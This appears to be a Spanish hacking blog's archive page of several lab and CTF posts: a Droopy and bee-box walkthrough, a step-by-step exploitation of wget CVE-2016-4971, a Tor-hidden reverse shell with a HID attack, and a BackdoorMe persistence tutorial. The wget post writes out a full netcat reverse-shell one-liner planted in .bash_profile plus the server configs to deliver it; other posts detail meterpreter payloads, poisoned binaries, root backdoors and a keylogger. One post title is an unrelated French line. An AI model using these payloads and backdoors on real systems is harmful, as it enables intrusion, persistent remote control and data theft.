Mostrando entradas con la etiqueta netcat. Mostrar todas las entradas
Mostrando entradas con la etiqueta netcat. Mostrar todas las entradas

martes, 30 de agosto de 2016

La fraude fiscale des grandes sociétés

Buenas hackers! Y bienvenidos a otro CTF de Vulnhub

"Welcome to Droopy. This is a beginner's boot2root/CTF VM.
The VM is set to grab a DHCP lease on boot.
There's 2 hints I would offer you:
1.) Grab a copy of the rockyou wordlist.
2.) It's fun to read other people's email.
SHA1SUM: e6862fa5ebc9c2a8e582e77f440510062afe47ba droopyctf.ova
Special thanks and shout-outs go to Barrebas and Rasta_Mouse for testing, and g0tmi1k for advice and offering to host my first CTF."

Atención Spoiler!!

En este CTF veremos el uso de exploits locales gracias a searchsploit, las diferentes técnicas entre el uso de un script en Python, una shell escrita en PHP y nc, o el uso más automatizado de Metasploit.
La escalada de privilegios basada en el uso de un exploit local debido a la versión del Kernel. Recomiendo mucho esta página web para poder realizar escalada de privilegios en Linux básicos---> https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Una vez obtenido un fichero en .tc nos indica que es TrueCrypt y que tendremos que obtener una password en texto plano para poder montar un volumen. El descifrado se usa Hashcat.


Un saludo, Naivenom

viernes, 12 de agosto de 2016

Pentesting a la abeja (Parte II)

Buenas hackers! En este CTF vamos a hacer un pentesting a esta maquina de Vulnhub
Es una maquina muy completa que permite realizar un test de intrusión al servidor, además de hacer retos de pentesting web tal como SQLi, XSS, LFI etc...



----------------
bee-box - README
----------------

bee-box is a custom Linux VM pre-installed with bWAPP.

With bee-box you have the opportunity to explore all bWAPP vulnerabilities!
bee-box gives you several ways to hack and deface the bWAPP website.
It's even possible to hack the bee-box to get root access...

This project is part of the ITSEC GAMES project. ITSEC GAMES are a fun approach to IT security education. 
IT security, ethical hacking, training and fun... all mixed together.
You can find more about the ITSEC GAMES and bWAPP projects on our blog.

We offer a 2-day comprehensive web security course 'Attacking & Defending Web Apps with bWAPP'.
This course can be scheduled on demand, at your location!
More info: http://goo.gl/ASuPa1 (pdf)

Enjoy!

Cheers

Malik Mesellem
Twitter: @MME_IT
 

Atención Spoiler!!

 
Usaremos hydra para poder obtener la contraseña atacando el servicio VNC por el puerto especificado, pero puede ser usado para muchos servicios; rdp, ftp, smtp, imap o telnet entre otros.
El servicio VNC, básicamente tiene una estructura servidor-cliente el cual permite tomar el control del servidor remotamente a través de un host cliente con un software especifico. Este softwarte es también denominado escritorio remoto.
El diccionario que usaremos sera rockyou disponible en Kali Linux, con el parametro -P por el puerto 5901 y la ip dada.
Una vez encontrado la contraseña, por cierto muy sencilla y usando una politica de contraseñas muy debil en la cual en todo momento cualquier persona o administrador de un sistema tiene que evitar.
En kali linux la herramienta vncviewer esta instalada por defecto.
 
Es mas interesante desde vncviewer conectarnos a nosotros, es decir a mi host mediante el uso de netcat:
Creamos el socket para hacer de servidor y estar a la escucha de peticiones con el parametro -l y un puerto determinado.
Desde el vncviewer hacemos la conexión al puerto especificado y la IP determinada, con un interprete bash de linux.
Obtendremos la shell de root gracias a nc por el puerto especifico. Ahora se ejecuta una serie de comandos y mediante una sentencia en python obtenemos un entorno pseudo terminal importando el modulo pty indicando la ruta del interprete de bash.

Ejecutamos una serie de comandos desde root, el primero para encontrar archivos setuid.
Setuid: Son permisos de acceso que pueden asignarse a archivos o directorios en un sistema operativo basado en Unix.
Se utilizan principalmente para permitir a los usuarios del sistema ejecutar binarios con privilegios elevados temporalmente para realizar una tarea específica.
Esta propiedad es necesaria para que los usuarios normales puedan realizar tareas que requieran privilegios más altos que los que dispone un usuario común, por lo cual es muy interesante cuando tenemos acceso como usuario en un servidor y queremos ejecutar o modificar algun tipo de binario o archivo para poder escalar privilegios. En este caso no es necesario porque somos ya root, pero para otros vídeos de CTF que hice y haré, vereis de la importancia de localizarlos con:

find / -perm -4000 -o -perm -2000 -exec ls -ldb {} \;

También se verá John the Ripper para obtener en texto plano los hashes, del fichero /etc/shadow.


 Un saludo Naivenom


sábado, 25 de junio de 2016

Explotando wget. CVE-2016-4971


Buenas compañeros,

Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;
En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre
de archivo de la redirección como nombre destino.


Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.

Partiendo de una Kali, instalamos proftpd.

apt-get install proftpd-basic


Creamos el directorio raíz y le damos permisos para el usuario
proftpd

cd /var/
mkdir ftp
chown proftpd -R ftp/
cd ftp/
touch TEST


Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.
Con una configuración básica será suficiente para la prueba.

DefaultRoot /var/ftp
<Limit LOGIN>
   DenyAll
</Limit>

<Anonymous /var/ftp>
   User   proftpd
   UserAlias anonymous proftpd
   RequireValidShell off

   <Limit LOGIN>
      AllowAll
   </Limit>
</Anonymous>


Iniciamos el servicio FTP, service proftpd start
ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.

Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.

touch /var/www/html/claves.txt


Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.

nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf

Redirect /claves.txt ftp://192.168.10.185/TEST



Finalmente reiniciamos Apache, service apache2 restart,  para que cargue la nueva configuración y ya tenemos la trampa hecha.


Resultado


Cuando una victima haga
wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.


wget http://192.168.10.185/claves.txt




Sacando provecho de la situación


Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como ".bash_login" y ".bash_profile" son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.

Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa, por ejemplo, con netcat.


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &


Guardamos como .bash_profile en la raíz del ftp y modificamos nuestra redirección en Apache para que apunte al nuevo archivo.

Redirect /claves.txt ftp://192.168.10.185/.bash_profile

Reiniciamos Apache y levantamos un netcat para recibir la conexión.
wget http://192.168.10.185/claves.txt  [.bash_profile]

Ahora cuando la victima ejecute wget contra el archivo claves.txt se crea un archivo .bash_profile con una Shell que se ejecutará en cada inicio.

Obtenemos una Shell cuando se inicia bash en la victima



Referencias:






domingo, 20 de marzo de 2016

Conectar troyanos a través de Tor


Buenas hackers!!
En la entrada de hoy explicaré la PoC realizada por Belane. El fin principal es la conexión inversa de un backdoor de forma anonima a traves de Tor, en otras palabras, una shell reversa anonimizada. 
La PoC esta realizada en un entorno virtualizado compuesto de maquinas virtuales con el fin educativo de un proceso real.

Parte 1: 
La primera parte del video se muestra como se realiza la conexión ssh al servidor remoto donde esta alojado las imagenes de docker usando nc.

 
"Docker (Wikipedia): Docker es un proyecto de código abierto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de Virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y espacios de nombres (namespaces) para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales."

Estas imagenes son como maquinas virtuales que se despliegan como contenedores. Primero se usa tor-base, que es una imagen con el servicio tor instalado. Y después donkeykong que es una imagen preparada para metasploit.
Se aprecia como lista las imagenes de docker y luego lanza la imagen con:
 docker run -it --name tor-service tor-base /bin/bash
Al ejecutarse se muestra una nueva shell de la maquina y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Visualiza el nombre de dominio proporcionado por Tor (hostname) y ejecuta el nc para estar a la escucha de las posibles conexiones inversas. 

Desde la maquina virtual de la victima (Windows 7) se instala Tor, socat y nc. 
Inicia Tor en background con start /b tor y ejecuta socat.exe. Socat es como una navaja suiza de conexiones, permite redirigir de un punto a otro, hacer tuberias. En este caso se usa para crear un proxy y resolver el dominio .onion. Crea una tuberia desde el puerto 5555 en localhost al 3333 en el dominio que nos da tor .onion, usando el proxy en 9050 (tor).
Y finalmente la victima ejecuta el nc para establecer la conexión con el atacante, devolviendonos una shell.


Parte2: 

 
En esta parte se utilizara un HID attack para infectar un ordenador con el backdoor conectandose a Tor, de esta forma el panel de control del atacante no esta expuesto, en este caso Metasploit.
De igual modo se usa docker para listar la imagenes disponibles en el servidor remoto, llamada donkeykong y se lanza la imagen:
docker run -it donkeykong /bin/bash
Al ejecutarse se muestra una shell y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Una vez realizado este procedimiento abrimos la consola de Metasploit con msfconsole y usamos el exploit/multi/handler con el payload windows/meterpreter/reverse_tcp a la escucha de conexiones.
Se abre otra terminal para generar el backdoor malicioso con msfvenom
En el escritorio de la maquina Kali Linux, tenemos el backdoor y el archivo loader.ps1 que será el usado en el HID attack.
En este caso el atacante usa la maquina Kali Linux como servidor propio donde aloja el backdoor y el loader.ps1 mediante la creación de un webserver en el directorio actual.
Ahora conectando nuestro telefono movil NetHunter a la maquina (Windows 8.1) realiza el HID attack simulando que es un teclado y ejecutando una serie de ordenes, abriendo un powershell y descargando el fichero loader.ps1 infectando a la maquina.
De este modo obtendremos una sesión meterpreter.

Una vez explicado el procedimiento de la PoC, os muestro el video demostrativo:


P.D El autor y desarrollador de esta PoC, no se hace responsable del mal uso de este tutorial. Hacerlo siempre en un entorno virtualizado con VMware, simulando este proceso real.

Un saludo, naivenom




sábado, 5 de marzo de 2016

Crea tu backdoor automatizado con BackdoorMe


Hola hackers, en esta ocasión vamos a ver como utilizar BackdoorMe.

BackdoorMe se trata de una utilidad de post-explotación capaz de crear un backdoor o puerta trasera en equipos Unix. Dispone de una interfaz similar a la de Metasploit.

Para transferir la puerta trasera al equipo objetivo, necesitamos que tenga el servicio SSH corriendo (o abrirlo en su defecto) y las credenciales del mismo.

BackdoorMe viene con una serie de puertas traseras, módulos (se pueden usar con cualquier puerta trasera para hacerlas mas potentes) y auxiliares (para ayudar a la persistencia). A continuación una lista de todo lo que nos ofrece.


MODULOS
  • Adduser: agrega un nuevo usuario en el equipo.
  • Cron: añade una puerta trasera existente al archivo crontab del usuario root para que se ejecute con cierta frecuencia.
  • Poison: envenena el archivo ejecutable de un comando del equipo objetivo, de esta forma, cada vez que el usuario utilice dicho comando, se ejecutará la acción correspondiente al comando y el backdoor.
  • Startup: permite que el backdoor se ejecute al encender el sistema, o meterlo en el archivo .bashrc para que se ejecute cada vez que se abre una consola o terminal.
  • Web: se instala un servidor web y coloca una web que desencadena la puerta trasera. Solo hay que visitar ésta y la puerta trasera se iniciará.
  • Whitelist: lista de las IPs que pueden conectarse al backdoor.
PUERTAS TRASERAS 
  • ssh_port: cambia el puerto para el servicio SSH
  • remove_ssh: desactiva el servicio SSH. Se usa cuando terminamos la sesión.
  • ssh_key: crea una clave RSA.
ESCALATION
  •  Shell: se trata de una puerta trasera para escalada de privilegios, similar a SetUID. Una vez ejecutada, podemos entrar como un usuario normal y ejecutar el comando .bash -p para obtener una shell con privilegios root.
  • SetUID: nos permite infectar el archivo bin de un comando (por ejemplo nano) y, entrando con un usuario sin privilegios, poder ejecutar el comando como si del usuario root se tratase.
WINDOWS
  • Windows: usa msfvenom para crear un backdoor para windows. 
SHELL
  • Netcat: usa netcat para obtener una shell interactiva.
  • Web: instala apache en el equipo objetivo y envía un payload, luego basta con entrar en el servidor y ejecutar el payload para, con multi/handler escuchando, obtener una shell.
  • PHP: ejecuta un backdoor php que redirige el resultado a bash.
  • Bash: un simple script bash para conectarse a una IP y puerto especifico.
  • Metasploit: usa msfvenom para crear un payload reverse_tcp y lo ejecuta para obtener una shell meterpreter.
  • Perl: script escrito en perl y redirige el resultado a bash.
  • Pupy: esta shell utiliza el backdoor creado por n1nj4sec (enlace).
  • Python: script escrito en python para ejecutar comandos y recibir los resultados en bash.
AUXILIARES
  • Web: instala el servidor web Apache en el objetivo.
  • User: crea un nuevo usuario en el objetivo.
  • Append: añade o quita el atributo append (nos permite añadir información) a cualquier archivo del sistema.
  • SimpleHttp: instala el servidor python SimpleHttp en el objetivo.
  • Keylogger: instala un keylogger en el objetivo con opción de recibir el log en un mail dado.
  • Immutable: añade o quita el atributo immutable a cualquier archivo del sistema. 

Como podeis ver tenemos infinidad de opciones para colocar nuestro backdoor o puerta trasera.

Lo primero que haremos será descargar BackdoorMe y prepararlo para su uso.


Ya está listo para usarlo, ahora lo ejecutamos con python master.py.


Para ver los comandos que tenemos disponibles escribiremos help.


En esta PoC usaremos como equipo objetivo una máquina virtual con Metasploitable 2 (192.168.0.195).

Lo primero que haremos será cambiar la ip local, que es donde se conectará el backdoor, tenemos que poner la ip de nuestra máquina atacante. Para esto usamos el comando change_ip, pulsamos enter, y escribimos la IP.

A continuación añadiremos nuestro objetivo.

  • Target Hostname: IP del objetivo
  • Username: nombre de usuario del servicio SSH.
  • Password: contraseña del servicio SSH.

Decir que BackdoorMe soporta varios targets (objetivos) a la vez, los diferencia asignandoles números (1, 2, 3...). Para usar el backdoor en uno u otro target, la sintaxis es la siguiente:

 use <backdoor> <numero target>
Ejemplo: use shell/metasploit 2 


Establecemos la conexión por SSH con el comando open.


 Ya estamos conectados al objetivo.

Con el comando list vemos los diferentes backdoors disponibles. Vamos a ver el funcionamiento de algunos de ellos.


METASPLOIT

Este backdoor nos devolverá una shell meterpreter.


Para cambiar cualquiera de las opciones del backdoor usaremos la siguiente sintaxis:

set <nombre opción> <nuevo valor>
Ejemplo: set name apache

Una vez cambiadas las opciones a nuestro gusto, ejecutamos el backdoor con exploit.


En la captura podemos ver los pasos que sigue, también nos dice que ejecutemos Metasploit y pongamos a la escucha el exploit multi/handler.




Con todo listo, pulsamos enter (en la consola de BackdoorMe) y obtendremos la shell.



NETCAT

En este ejemplo, utilizaremos el backdoor netcat junto con el módulo poison.

Igual que hicimos antes, seleccionamos el backdoor y lo configuramos.


Ahora añadimos el módulo al backdoor.


Como vemos en la captura para cambiar las opciones del módulo se usa la siguiente sintaxis:

set <nombre modulo>.<opción> <valor> 
(fijaros que entre el módulo y la opción, hay un punto)

Ejemplo: set poison.name ls

Yo voy a dejar las opciones tal cual puesto que el comando ls se utiliza bastante y es lo que nos interesa. Usamos el comando exploit para ejecutarlo.


Al igual que paso con el backdoor de Metasploit, en este también nos indica lo que debemos hacer para obtener la shell. Abrimos una nueva terminal/consola y ponemos el netcat a la escucha como nos indica: nc -v -n -l -p 4444.

Pulsamos enter en la consola de BackdoorMe y obtendremos la shell.



Gracias al módulo poison, ahora cada vez que se use el comando ls en el equipo objetivo, ejecutará el backdoor y, teniendo el netcat a la escucha, obtendremos una shell.


ESCALATION/SHELL

Con este backdoor, aunque entremos con un usuario sin privilegios, obtendremos una shell con privilegios ejecutando el comando .bash -p.


Esta vez no nos va devolver una shell directamente como en los vistos anteriormente. Para ver que ha funcionado, nos conectaremos por SSH al equipo objetivo con un usuario sin privilegios.


Ahora ejecutamos el comando antes mencionado y obtendremos la shell con privilegios.


BackdoorMe además dispone de un backdoor (access/remove_ssh) que nos permite cerrar el servicio SSH  en el objetivo al finalizar.


Si hacemos un nmap al objetivo apuntando al puerto 22 SSH, vemos que esta cerrado.




Hasta aquí la PoC de hoy, espero os haya gustado y recordar que está realizado con fines educativos, no nos hacemos responsables del mal uso que se le pudiera dar.

Google Analytics